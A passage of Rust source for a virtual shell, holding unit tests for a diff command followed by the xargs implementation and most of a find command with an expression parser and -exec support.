empty_files_identical() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"\").unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"\").unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"\");\n    }\n\n    #[test]\n    fn stdin_via_dash() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"world\\n\")\n            .unwrap();\n        let c = ctx_with_stdin(&fs, &env, &limits, &np, \"hello\\n\");\n        let result = run(&[\"-\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"< hello\"));\n        assert!(result.stdout.contains(\"> world\"));\n    }\n\n    #[test]\n    fn unified_custom_context() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(\n            std::path::Path::new(\"/a.txt\"),\n            b\"1\\n2\\n3\\n4\\n5\\n6\\n7\\n8\\n9\\n10\\n\",\n        )\n        .unwrap();\n        fs.write_file(\n            std::path::Path::new(\"/b.txt\"),\n            b\"1\\n2\\n3\\n4\\nFIVE\\n6\\n7\\n8\\n9\\n10\\n\",\n        )\n        .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-U1\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"--- /a.txt\"));\n        assert!(result.stdout.contains(\"+++ /b.txt\"));\n        assert!(result.stdout.contains(\"-5\"));\n        assert!(result.stdout.contains(\"+FIVE\"));\n    }\n\n    #[test]\n    fn label_overrides_filename() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"world\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(\n            &[\"-u\", \"--label\", \"old\", \"--label\", \"new\", \"/a.txt\", \"/b.txt\"],\n            &c,\n        );\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"--- old\"));\n        assert!(result.stdout.contains(\"+++ new\"));\n    }\n\n    #[test]\n    fn no_trailing_newline_files() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"hello\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn ignore_blank_lines() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\\n\\nworld\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"hello\\nworld\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-B\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn new_file_absent_first_file() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"hello\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-N\", \"/nonexistent.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"> hello\"));\n    }\n\n    #[test]\n    fn directories_without_recursive_flag_errors() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.mkdir_p(std::path::Path::new(\"/dir1\")).unwrap();\n        fs.mkdir_p(std::path::Path::new(\"/dir2\")).unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/dir1\", \"/dir2\"], &c);\n        assert_eq!(result.exit_code, 2);\n        assert!(result.stderr.contains(\"is a directory\"));\n    }\n\n    #[test]\n    fn requires_two_arguments() {\n        let (fs, env, limits, np) = test_ctx();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\"], &c);\n        assert_eq!(result.exit_code, 2);\n        assert!(result.stderr.contains(\"requires exactly two\"));\n    }\n\n    #[test]\n    fn normal_diff_add_lines() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"line1\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"line1\\nline2\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"1a2\"));\n        assert!(result.stdout.contains(\"> line2\"));\n    }\n\n    #[test]\n    fn normal_diff_delete_lines() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"line1\\nline2\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"line1\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"2d1\"));\n        assert!(result.stdout.contains(\"< line2\"));\n    }\n\n    #[test]\n    fn recursive_nested_directories() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.mkdir_p(std::path::Path::new(\"/d1/sub\")).unwrap();\n        fs.mkdir_p(std::path::Path::new(\"/d2/sub\")).unwrap();\n        fs.write_file(std::path::Path::new(\"/d1/sub/f.txt\"), b\"old\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/d2/sub/f.txt\"), b\"new\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-r\", \"/d1\", \"/d2\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"< old\"));\n        assert!(result.stdout.contains(\"> new\"));\n    }\n\n    #[test]\n    fn context_format_custom_context() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"1\\n2\\n3\\n4\\n5\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"1\\n2\\nX\\n4\\n5\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-C1\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"*** /a.txt\"));\n        assert!(result.stdout.contains(\"--- /b.txt\"));\n        assert!(result.stdout.contains(\"***************\"));\n    }\n\n    #[test]\n    fn new_file_flag_with_unified() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\\nworld\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-uN\", \"/a.txt\", \"/missing.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"--- /a.txt\"));\n        assert!(result.stdout.contains(\"+++ /missing.txt\"));\n    }\n\n    #[test]\n    fn brief_identical_no_output() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"same\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"same\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-q\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"\");\n    }\n\n    #[test]\n    fn combined_flags() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"HELLO  WORLD\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        // -i ignores case, -b ignores space changes → should be identical\n        let result = run(&[\"-ib\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn ignore_case_affects_diff_output() {\n        // Verify -i flag influences the diff algorithm, not just identity check.\n        // Lines that differ only in case should be treated as equal context,\n        // so only the truly different line appears in output.\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"Hello\\nfoo\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"hello\\nbar\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-i\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        // \"Hello\" vs \"hello\" should match with -i, so only foo/bar differs\n        assert!(result.stdout.contains(\"< foo\"));\n        assert!(result.stdout.contains(\"> bar\"));\n        // Should NOT report a change on the Hello/hello line\n        assert!(!result.stdout.contains(\"< Hello\"));\n    }\n\n    #[test]\n    fn context_format_uses_exclamation_for_replace() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"line1\\nold\\nline3\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"line1\\nnew\\nline3\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-c\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        // Replace ops should use ! marker, not - / +\n        assert!(result.stdout.contains(\"! old\"));\n        assert!(result.stdout.contains(\"! new\"));\n    }\n}\n","/home/user/src/commands/exec_cmds.rs":"//! Commands that use the exec callback: xargs, find\n\nuse crate::commands::{CommandContext, CommandMeta, CommandResult};\nuse crate::interpreter::pattern::glob_match;\nuse crate::vfs::NodeType;\nuse std::path::{Path, PathBuf};\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\n// ── xargs ────────────────────────────────────────────────────────────\n\npub struct XargsCommand;\n\nstatic XARGS_META: CommandMeta = CommandMeta {\n    name: \"xargs\",\n    synopsis: \"xargs [-0] [-I REPL] [-n NUM] [-d DELIM] [COMMAND]\",\n    description: \"Build and execute command lines from standard input.\",\n    options: &[\n        (\n            \"-I REPL\",\n            \"replace occurrences of REPL in COMMAND with input\",\n        ),\n        (\"-n NUM\", \"use at most NUM arguments per command line\"),\n        (\"-d DELIM\", \"use DELIM as input delimiter\"),\n        (\"-0\", \"use NUL as input delimiter\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for XargsCommand {\n    fn name(&self) -> &str {\n        \"xargs\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&XARGS_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut replace_str: Option<String> = None;\n        let mut max_args: Option<usize> = None;\n        let mut delimiter: Option<String> = None;\n        let mut null_delim = false;\n        let mut command_parts: Vec<String> = Vec::new();\n        let mut opts_done = false;\n\n        let mut i = 0;\n        while i < args.len() {\n            let arg = &args[i];\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                i += 1;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                match arg.as_str() {\n                    \"-I\" => {\n                        i += 1;\n                        if i < args.len() {\n                            replace_str = Some(args[i].clone());\n                        } else {\n                            return CommandResult {\n                                stderr: \"xargs: option requires an argument -- 'I'\\n\".into(),\n                                exit_code: 1,\n                                ..Default::default()\n                            };\n                        }\n                    }\n                    \"-n\" => {\n                        i += 1;\n                        if i < args.len() {\n                            match args[i].parse::<usize>() {\n                                Ok(n) if n > 0 => max_args = Some(n),\n                                _ => {\n                                    return CommandResult {\n                                        stderr: format!(\n                                            \"xargs: invalid number for -n: '{}'\\n\",\n                                            args[i]\n                                        ),\n                                        exit_code: 1,\n                                        ..Default::default()\n                                    };\n                                }\n                            }\n                        } else {\n                            return CommandResult {\n                                stderr: \"xargs: option requires an argument -- 'n'\\n\".into(),\n                                exit_code: 1,\n                                ..Default::default()\n                            };\n                        }\n                    }\n                    \"-d\" => {\n                        i += 1;\n                        if i < args.len() {\n                            delimiter = Some(args[i].clone());\n                        } else {\n                            return CommandResult {\n                                stderr: \"xargs: option requires an argument -- 'd'\\n\".into(),\n                                exit_code: 1,\n                                ..Default::default()\n                            };\n                        }\n                    }\n                    \"-0\" => {\n                        null_delim = true;\n                    }\n                    _ => {\n                        // Unknown option — treat as start of command\n                        opts_done = true;\n                        command_parts.push(arg.clone());\n                    }\n                }\n            } else {\n                opts_done = true;\n                command_parts.push(arg.clone());\n            }\n            i += 1;\n        }\n\n        // Default command is echo\n        if command_parts.is_empty() {\n            command_parts.push(\"echo\".to_string());\n        }\n\n        let exec = match ctx.exec {\n            Some(exec) => exec,\n            None => {\n                return CommandResult {\n                    stderr: \"xargs: exec callback not available\\n\".into(),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n        };\n\n        // Split input into tokens\n        let input = ctx.stdin;\n        let tokens: Vec<String> = if null_delim {\n            input.split('\\0').map(|s| s.to_string()).collect()\n        } else if let Some(ref delim) = delimiter {\n            let d = if delim == \"\\\\n\" {\n                '\\n'\n            } else if delim == \"\\\\t\" {\n                '\\t'\n            } else if delim == \"\\\\0\" {\n                '\\0'\n            } else {\n                delim.chars().next().unwrap_or('\\n')\n            };\n            input.split(d).map(|s| s.to_string()).collect()\n        } else {\n            // Default: split on whitespace (newlines and spaces)\n            input.split_whitespace().map(|s| s.to_string()).collect()\n        };\n\n        // Filter out empty tokens\n        let tokens: Vec<String> = tokens.into_iter().filter(|t| !t.is_empty()).collect();\n\n        if tokens.is_empty() {\n            // No input — with replace mode, do nothing; without, run command once with no args\n            if replace_str.is_some() {\n                return CommandResult::default();\n            }\n            // With no input and no replace, run the command with no extra args\n            let cmd_line = shell_join(&command_parts);\n            match exec(&cmd_line, None) {\n                Ok(r) => return r,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"xargs: {}\\n\", e),\n                        exit_code: 1,\n                        ..Default::default()\n                    };\n                }\n            }\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut last_exit = 0;\n\n        if let Some(ref repl) = replace_str {\n            // -I mode: one invocation per token, replace occurrences in command\n            for token in &tokens {\n                let cmd_line: Vec<String> = command_parts\n                    .iter()\n                    .map(|part| part.replace(repl.as_str(), token))\n                    .collect();\n                let cmd_str = shell_join(&cmd_line);\n                match exec(&cmd_str, None) {\n                    Ok(r) => {\n                        stdout.push_str(&r.stdout);\n                        stderr.push_str(&r.stderr);\n                        last_exit = r.exit_code;\n                    }\n                    Err(e) => {\n                        stderr.push_str(&format!(\"xargs: {}\\n\", e));\n                        last_exit = 1;\n                    }\n                }\n            }\n        } else if let Some(n) = max_args {\n            // -n mode: batch N args per invocation\n            for chunk in tokens.chunks(n) {\n                let mut cmd_line = command_parts.clone();\n                cmd_line.extend(chunk.iter().cloned());\n                let cmd_str = shell_join(&cmd_line);\n                match exec(&cmd_str, None) {\n                    Ok(r) => {\n                        stdout.push_str(&r.stdout);\n                        stderr.push_str(&r.stderr);\n                        last_exit = r.exit_code;\n                    }\n                    Err(e) => {\n                        stderr.push_str(&format!(\"xargs: {}\\n\", e));\n                        last_exit = 1;\n                    }\n                }\n            }\n        } else {\n            // Default: all args in one invocation\n            let mut cmd_line = command_parts.clone();\n            cmd_line.extend(tokens);\n            let cmd_str = shell_join(&cmd_line);\n            match exec(&cmd_str, None) {\n                Ok(r) => {\n                    stdout.push_str(&r.stdout);\n                    stderr.push_str(&r.stderr);\n                    last_exit = r.exit_code;\n                }\n                Err(e) => {\n                    stderr.push_str(&format!(\"xargs: {}\\n\", e));\n                    last_exit = 1;\n                }\n            }\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code: last_exit,\n            stdout_bytes: None,\n        }\n    }\n}\n\n/// Shell-escape and join args into a command string for the exec callback.\npub(crate) fn shell_join(parts: &[String]) -> String {\n    parts\n        .iter()\n        .map(|p| {\n            if p.contains(|c: char| c.is_whitespace() || c == '\\'' || c == '\"' || c == '\\\\') {\n                // Wrap in single quotes, escaping existing single quotes\n                format!(\"'{}'\", p.replace('\\'', \"'\\\\''\"))\n            } else {\n                p.clone()\n            }\n        })\n        .collect::<Vec<_>>()\n        .join(\" \")\n}\n\n// ── find ─────────────────────────────────────────────────────────────\n\npub struct FindCommand;\n\n#[derive(Debug, Clone)]\nenum FindExpr {\n    Name(String),\n    Type(char),\n    Empty,\n    Newer(String),\n    Print,\n    Print0,\n    ExecEach(Vec<String>),\n    ExecBatch(Vec<String>),\n    Not(Box<FindExpr>),\n    And(Box<FindExpr>, Box<FindExpr>),\n    Or(Box<FindExpr>, Box<FindExpr>),\n}\n\nstatic FIND_META: CommandMeta = CommandMeta {\n    name: \"find\",\n    synopsis: \"find [PATH ...] [EXPRESSION]\",\n    description: \"Search for files in a directory hierarchy.\",\n    options: &[\n        (\"-name PATTERN\", \"match filename against PATTERN\"),\n        (\"-type TYPE\", \"match file type (f, d, l)\"),\n        (\"-maxdepth N\", \"descend at most N directory levels\"),\n        (\"-mindepth N\", \"ignore first N directory levels\"),\n        (\"-empty\", \"match empty files and directories\"),\n        (\"-newer FILE\", \"match files newer than FILE\"),\n        (\"-exec CMD ;\", \"execute CMD for each match\"),\n        (\"-exec CMD +\", \"execute CMD with matches as arguments\"),\n        (\"-print\", \"print the full file name\"),\n        (\"-print0\", \"print the full file name followed by NUL\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for FindCommand {\n    fn name(&self) -> &str {\n        \"find\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&FIND_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut paths: Vec<String> = Vec::new();\n        let mut expr_args: Vec<String> = Vec::new();\n        let mut in_expr = false;\n\n        // Separate paths from expression arguments\n        for arg in args {\n            if in_expr {\n                expr_args.push(arg.clone());\n            } else if arg.starts_with('-') || arg == \"!\" || arg == \"(\" || arg == \")\" {\n                in_expr = true;\n                expr_args.push(arg.clone());\n            } else {\n                paths.push(arg.clone());\n            }\n        }\n\n        if paths.is_empty() {\n            paths.push(\".\".to_string());\n        }\n\n        // Parse expression\n        let opts = match parse_find_expr(&expr_args) {\n            Ok(v) => v,\n            Err(e) => {\n                return CommandResult {\n                    stderr: format!(\"find: {}\\n\", e),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n        };\n\n        let mut out = FindOutput {\n            stdout: String::new(),\n            stderr: String::new(),\n            exit_code: 0,\n            batch_paths: Vec::new(),\n        };\n\n        for search_path in &paths {\n            let abs_path = resolve_path(search_path, ctx.cwd);\n            let display_prefix = search_path.to_string();\n\n            if !ctx.fs.exists(&abs_path) {\n                out.stderr.push_str(&format!(\n                    \"find: '{}': No such file or directory\\n\",\n                    search_path\n                ));\n                out.exit_code = 1;\n                continue;\n            }\n\n            walk_find(ctx, &abs_path, &display_prefix, 0, &opts, &mut out);\n        }\n\n        // Execute batched -exec commands\n        if !out.batch_paths.is_empty() {\n            let paths = out.batch_paths.clone();\n            execute_batched(ctx, &opts.expr, &paths, &mut out);\n        }\n\n        CommandResult {\n            stdout: out.stdout,\n            stderr: out.stderr,\n            exit_code: out.exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n/// Parsed options extracted from find arguments.\nstruct FindOpts {\n    expr: Option<FindExpr>,\n    max_depth: Option<usize>,\n    min_depth: Option<usize>,\n}\n\n/// Mutable state accumulated during a find walk.\nstruct FindOutput {\n    stdout: String,\n    stderr: String,\n    exit_code: i32,\n    batch_paths: Vec<String>,\n}\n\n/// Parse find expression arguments into a tree.\nfn parse_find_expr(args: &[String]) -> Result<FindOpts, String> {\n    let mut max_depth: Option<usize> = None;\n    let mut min_depth: Option<usize> = None;\n\n    // First pass: extract global options (maxdepth, mindepth)\n    let mut filtered: Vec<String> = Vec::new();\n    let mut i = 0;\n    while i < args.len() {\n        match args[i].as_str() {\n            \"-maxdepth\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(\"missing argument to '-maxdepth'\".into());\n                }\n                max_depth = Some(\n                    args[i]\n                        .parse::<usize>()\n                        .map_err(|_| format!(\"invalid argument '{}' to '-maxdepth'\", args[i]))?,\n                );\n            }\n            \"-mindepth\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(\"missing argument to '-mindepth'\".into());\n                }\n                min_depth = Some(\n                    args[i]\n                        .parse::<usize>()\n                        .map_err(|_| format!(\"invalid argument '{}' to '-mindepth'\", args[i]))?,\n                );\n            }\n            _ => filtered.push(args[i].clone()),\n        }\n        i += 1;\n    }\n\n    if filtered.is_empty() {\n        return Ok(FindOpts {\n            expr: None,\n            max_depth,\n            min_depth,\n        });\n    }\n\n    let (expr, pos) = parse_or_expr(&filtered, 0)?;\n    if pos < filtered.len() {\n        return Err(format!(\"unexpected argument '{}'\", filtered[pos]));\n    }\n\n    Ok(FindOpts {\n        expr: Some(expr),\n        max_depth,\n        min_depth,\n    })\n}\n\n/// Parse OR expression: expr1 -o expr2\nfn parse_or_expr(args: &[String], pos: usize) -> Result<(FindExpr, usize), String> {\n    let (mut left, mut pos) = parse_and_expr(args, pos)?;\n\n    while pos < args.len() && (args[pos] == \"-o\" || args[pos] == \"-or\") {\n        pos += 1;\n        let (right, new_pos) = parse_and_expr(args, pos)?;\n        left = FindExpr::Or(Box::new(left), Box::new(right));\n        pos = new_pos;\n    }\n\n    Ok((left, pos))\n}\n\n/// Parse AND expression: expr1 [-a] expr2\nfn parse_and_expr(args: &[String], pos: usize) -> Result<(FindExpr, usize), String> {\n    let (mut left, mut pos) = parse_unary_expr(args, pos)?;\n\n    loop {\n        if pos >= args.len() {\n            break;\n        }\n        // Explicit -a / -and\n        if args[pos] == \"-a\" || args[pos] == \"-and\" {\n            pos += 1;\n            let (right, new_pos) = parse_unary_expr(args, pos)?;\n            left = FindExpr::And(Box::new(left), Box::new(right));\n            pos = new_pos;\n            continue;\n        }\n        // Implicit AND: next token is a primary (not -o, not \")\")\n        if args[pos] != \"-o\" && args[pos] != \"-or\" && args[pos] != \")\" {\n            let (right, new_pos) = parse_unary_expr(args, pos)?;\n            left = FindExpr::And(Box::new(left), Box::new(right));\n            pos = new_pos;\n            continue;\n        }\n        break;\n    }\n\n    Ok((left, pos))\n}\n\n/// Parse unary: -not / ! or primary\nfn parse_unary_expr(args: &[String], pos: usize) -> Result<(FindExpr, usize), String> {\n    if pos >= args.len() {\n        return Err(\"expected expression\".into());\n    }\n\n    if args[pos] == \"-not\" || args[pos] == \"!\" {\n        let (inner, pos) = parse_unary_expr(args, pos + 1)?;\n        return Ok((FindExpr::Not(Box::new(inner)), pos));\n    }\n\n    if args[pos] == \"(\" {\n        let (expr, pos) = parse_or_expr(args, pos + 1)?;\n        if pos >= args.len() || args[pos] != \")\" {\n            return Err(\"missing closing ')'\".into());\n        }\n        return Ok((expr, pos + 1));\n    }\n\n    parse_primary(args, pos)\n}\n\n/// Parse a single predicate or action.\nfn parse_primary(args: &[String], pos: usize) -> Result<(FindExpr, usize), String> {\n    if pos >= args.len() {\n        return Err(\"expected expression\".into());\n    }\n\n    match args[pos].as_str() {\n        \"-name\" => {\n            if pos + 1 >= args.len() {\n                return Err(\"missing argument to '-name'\".into());\n            }\n            Ok((FindExpr::Name(args[pos + 1].clone()), pos + 2))\n        }\n        \"-type\" => {\n            if pos + 1 >= args.len() {\n                return Err(\"missing argument to '-type'\".into());\n            }\n            let t = args[pos + 1].chars().next().unwrap_or('f');\n            Ok((FindExpr::Type(t), pos + 2))\n        }\n        \"-empty\" => Ok((FindExpr::Empty, pos + 1)),\n        \"-newer\" => {\n            if pos + 1 >= args.len() {\n                return Err(\"missing argument to '-newer'\".into());\n            }\n            Ok((FindExpr::Newer(args[pos + 1].clone()), pos + 2))\n        }\n        \"-print\" => Ok((FindExpr::Print, pos + 1)),\n        \"-print0\" => Ok((FindExpr::Print0, pos + 1)),\n        \"-exec\" => {\n            // Collect args until \\; or +\n            let mut cmd_parts = Vec::new();\n            let mut j = pos + 1;\n            let mut batch = false;\n            loop {\n                if j >= args.len() {\n                    return Err(\"missing argument to '-exec'\".into());\n                }\n                if args[j] == \";\" {\n                    break;\n                }\n                if args[j] == \"+\" && !cmd_parts.is_empty() {\n                    batch = true;\n                    break;\n                }\n                cmd_parts.push(args[j].clone());\n                j += 1;\n            }\n            if batch {\n                Ok((FindExpr::ExecBatch(cmd_parts), j + 1))\n            } else {\n                Ok((FindExpr::ExecEach(cmd_parts), j + 1))\n            }\n        }\n        other => Err(format!(\"unknown predicate '{}'\", other)),\n    }\n}\n\n/// Recursively walk the filesystem, evaluating the find expression.\nfn walk_find(\n    ctx: &CommandContext,\n    abs_path: &Path,\n    display_path: &str,\n    depth: usize,\n    opts: &FindOpts,\n    out: &mut FindOutput,\n) {\n    // Check max_depth before doing anything\n    if opts.max_depth.is_some_and(|max| depth > max) {\n        return;\n    }\n\n    // Evaluate expression on current path (respecting min_depth)\n    let at_or_below_min = opts.min_depth.is_none() || depth >= opts.min_depth.unwrap();\n\n    if at_or_below_min {\n        let matched = match opts.expr {\n            Some(ref e) => eval_find(ctx, abs_path, display_path, e, out),\n            None => true,\n        };\n\n        // Default action: -print if no action in expression\n        if matched && !has_action(&opts.expr) {\n            out.stdout.push_str(display_path);\n            out.stdout.push('\\n');\n        }\n    }\n\n    // Recurse into directories\n    let meta = match ctx.fs.stat(abs_path) {\n        Ok(m) => m,\n        Err(_) => return,\n    };\n\n    if meta.node_type == NodeType::Directory {\n        if opts.max_depth.is_some_and(|max| depth >= max) {\n            return;\n        }\n\n        let mut entries = match ctx.fs.readdir(abs_path) {\n            Ok(e) => e,\n            Err(e) => {\n                out.stderr\n                    .push_str(&format!(\"find: '{}': {}\\n\", display_path, e));\n                out.exit_code = 1;\n                return;\n            }\n        };\n        entries.sort_by(|a, b| a.name.cmp(&b.name));\n\n        for entry in entries {\n            let child_abs = abs_path.join(&entry.name);\n            let child_display = if display_path == \"/\" {\n                format!(\"/{}\", entry.name)\n            } else {\n                format!(\"{}/{}\", display_path, entry.name)\n            };\n            walk_find(ctx, &child_abs, &child_display, depth + 1, opts, out);\n        }\n    }\n}\n\n/// Check if the expression tree contains any action (-print, -exec).\nfn has_action(expr: &Option<FindExpr>) -> bool {\n    match expr {\n        None => false,\n        Some(e) => expr_has_action(e),\n    }\n}\n\nfn expr_has_action(expr: &FindExpr) -> bool {\n    match expr {\n        FindExpr::Print | FindExpr::Print0 | FindExpr::ExecEach(_) | FindExpr::ExecBatch(_) => true,\n        FindExpr::Not(inner) => expr_has_action(inner),\n        FindExpr::And(a, b) | FindExpr::Or(a, b) => expr_has_action(a) || expr_has_action(b),\n        _ => false,\n    }\n}\n\n/// Evaluate a find expression against a path. Returns true if the path matches.\nfn eval_find(\n    ctx: &CommandContext,\n    abs_path: &Path,\n    display_path: &str,\n    expr: &FindExpr,\n    out: &mut FindOutput,\n) -> bool {\n    match expr {\n        FindExpr::Name(pattern) => {\n            let filename = abs_path\n                .file_name()\n                .map(|n| n.to_string_lossy().to_string())\n                .unwrap_or_default();\n            // For root path \"/\", filename is empty; use \"/\"\n            let filename = if filename.is_empty() && display_path == \"/\" {\n                \"/\".to_string()\n            } else {\n                filename\n            };\n            glob_match(pattern, &filename)\n        }\n        FindExpr::Type(t) => {\n            let meta = match ctx.fs.stat(abs_path) {\n                Ok(m) => m,\n                Err(_) => return false,\n            };\n            match t {\n                'f' => meta.node_type == NodeType::File,\n                'd' => meta.node_type == NodeType::Directory,\n                'l' => match ctx.fs.lstat(abs_path) {\n                    Ok(m) => m.node_type == NodeType::Symlink,\n                    Err(_) => false,\n                },\n                _ => false,\n            }\n        }\n        FindExpr::Empty => {\n            let meta = match ctx.fs.stat(abs_path) {\n                Ok(m) => m,\n                Err(_) => return false,\n            };\n            match meta.node_type {\n                NodeType::File => meta.size == 0,\n                NodeType::Directory => match ctx.fs.readdir(abs_path) {\n                    Ok(entries) => entries.is_empty(),\n                    Err(_) => false,\n                },\n                _ => false,\n            }\n        }\n        FindExpr::Newer(ref_file) => {\n            let ref_path = resolve_path(ref_file, ctx.cwd);\n            let ref_meta = match ctx.fs.stat(&ref_path) {\n                Ok(m) => m,\n                Err(_) => return false,\n            };\n            let cur_meta = match ctx.fs.stat(abs_path) {\n                Ok(m) => m,\n                Err(_) => return false,\n            };\n            cur_meta.mtime > ref_meta.mtime\n        }\n        FindExpr::Print => {\n            out.stdout.push_str(display_path);\n            out.stdout.push('\\n');\n            true\n        }\n        FindExpr::Print0 => {\n            out.stdout.push_str(display_path);\n            out.stdout.push('\\0');\n            true\n        }\n        FindExpr::ExecEach(cmd_parts) => {\n            if let Some(exec) = ctx.exec {\n                let cmd_str = cmd_parts\n                    .iter()\n                    .map(|p| {\n                        if p == \"{}\" {\n                            shell_escape(display_path)\n                        } else {\n                            shell_escape(p)\n                        }\n                    })\n                    .collect::<Vec<_>>()\n                    .join(\" \");\n                match exec(&cmd_str, None) {\n                    Ok(r) => {\n                        out.stdout.push_str(&r.stdout);\n                        out.stderr.push_str(&r.stderr);\n                        if r.exit_code != 0 